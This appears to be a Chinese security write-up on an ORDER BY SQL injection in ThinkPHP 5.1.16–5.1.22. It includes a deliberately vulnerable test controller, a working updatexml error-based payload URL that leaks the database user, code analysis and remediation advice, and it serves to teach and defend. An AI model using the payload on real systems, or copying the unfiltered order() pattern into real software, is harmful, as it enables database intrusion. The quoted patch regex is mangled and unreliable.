ThinkPHP5漏洞分析之SQL注入(五)
字数 941 2025-08-18 11:38:45

ThinkPHP5 SQL注入漏洞分析(五):orderby方法注入

漏洞概述

本漏洞存在于ThinkPHP框架的Builder类的parseOrder方法中,由于未对用户输入进行充分过滤,直接将数据拼接进SQL语句,导致SQL注入漏洞。影响版本为:5.1.16 <= ThinkPHP5 <= 5.1.22。

环境搭建

  1. 创建测试项目:

    composer create-project --prefer-dist topthink/think=5.1.22 tpdemo
    
  2. 修改composer.json:

    "require": {
        "php": ">=5.6.0",
        "topthink/framework": "5.1.22"
    }
    

    然后执行composer update

  3. 创建控制器文件application/index/controller/Index.php

    <?php
    namespace app\index\controller;
    
    class Index
    {
        public function index()
        {
            $orderby = request()->get('orderby');
            $result = db('users')->where(['username' => 'mochazz'])->order($orderby)->find();
            var_dump($result);
        }
    }
    
  4. 配置数据库(config/database.php)并开启调试模式(config/app.php中设置app_debugapp_trace为true)

  5. 创建数据库:

    create database tpdemo;
    use tpdemo;
    create table users(
        id int primary key auto_increment,
        username varchar(50) not null
    );
    insert into users(id,username) values(1,'mochazz');
    

漏洞复现

访问以下URL触发漏洞:

http://localhost:8000/index/index/index?orderby[id|updatexml(1,concat(0x7,user(),0x7e),1)%23]=1

注意:需要开启app_debug才能看到SQL报错信息。

漏洞分析

漏洞触发流程

  1. 用户输入通过request()->get('orderby')获取
  2. 输入数据经过filterValue方法简单过滤,但未对数组键名进行过滤
  3. 数据直接传入order方法并存储在$this->options['order']
  4. 调用find方法时,Builder类的select方法生成SQL语句
  5. parseOrder方法处理排序条件时未对用户输入进行充分过滤

关键代码分析

  1. 输入处理

    • 用户输入直接通过request()->get()获取
    • 虽然经过filterValue过滤,但对数组键名无过滤
  2. order方法(Query类):

    public function order($field)
    {
        if (is_string($field)) {
            $field = empty($field) ? [] : explode(',', $field);
        }
        $this->options['order'] = $field;
        return $this;
    }
    
    • 直接存储用户输入到$this->options['order']
  3. parseOrder方法(Builder类):

    protected function parseOrder($order)
    {
        if (is_array($order)) {
            $array = [];
            foreach ($order as $key => $val) {
                if (is_numeric($key)) {
                    $array[] = $this->parseKey($val);
                } else {
                    $array[] = $this->parseKey($key) . ' ' . $val;
                }
            }
            $order = implode(',', $array);
        }
        return !empty($order) ? ' ORDER BY ' . $order : '';
    }
    
    • 直接拼接用户输入到SQL语句
    • 仅使用parseKey添加反引号,无其他过滤

漏洞修复

官方在5.1.23版本中修复了此漏洞,修改了parseOrder方法,添加了对)#符号的过滤:

if (preg_match('/[,\'\"\*
$$
`.\s]/', $key)) {
    throw new Exception('order express error:' . $key);
}

攻击流程图

用户输入 → request()->get() → order()方法 → find()方法 → select()方法 → parseOrder()方法 → SQL语句拼接 → SQL注入

防护建议

  1. 升级到ThinkPHP 5.1.23或更高版本
  2. 对用户输入的排序字段进行严格过滤
  3. 使用参数化查询或预处理语句
  4. 最小化错误信息暴露(关闭app_debug)
ThinkPHP5 SQL注入漏洞分析(五):orderby方法注入 漏洞概述 本漏洞存在于ThinkPHP框架的Builder类的parseOrder方法中,由于未对用户输入进行充分过滤,直接将数据拼接进SQL语句,导致SQL注入漏洞。影响版本为:5.1.16 <= ThinkPHP5 <= 5.1.22。 环境搭建 创建测试项目: 修改composer.json: 然后执行 composer update 创建控制器文件 application/index/controller/Index.php : 配置数据库( config/database.php )并开启调试模式( config/app.php 中设置 app_debug 和 app_trace 为true) 创建数据库: 漏洞复现 访问以下URL触发漏洞: 注意:需要开启app_ debug才能看到SQL报错信息。 漏洞分析 漏洞触发流程 用户输入通过 request()->get('orderby') 获取 输入数据经过 filterValue 方法简单过滤,但未对数组键名进行过滤 数据直接传入 order 方法并存储在 $this->options['order'] 中 调用 find 方法时,Builder类的 select 方法生成SQL语句 parseOrder 方法处理排序条件时未对用户输入进行充分过滤 关键代码分析 输入处理 : 用户输入直接通过 request()->get() 获取 虽然经过 filterValue 过滤,但对数组键名无过滤 order方法 (Query类): 直接存储用户输入到 $this->options['order'] parseOrder方法 (Builder类): 直接拼接用户输入到SQL语句 仅使用 parseKey 添加反引号,无其他过滤 漏洞修复 官方在5.1.23版本中修复了此漏洞,修改了 parseOrder 方法,添加了对 ) 和 # 符号的过滤: 攻击流程图 防护建议 升级到ThinkPHP 5.1.23或更高版本 对用户输入的排序字段进行严格过滤 使用参数化查询或预处理语句 最小化错误信息暴露(关闭app_ debug)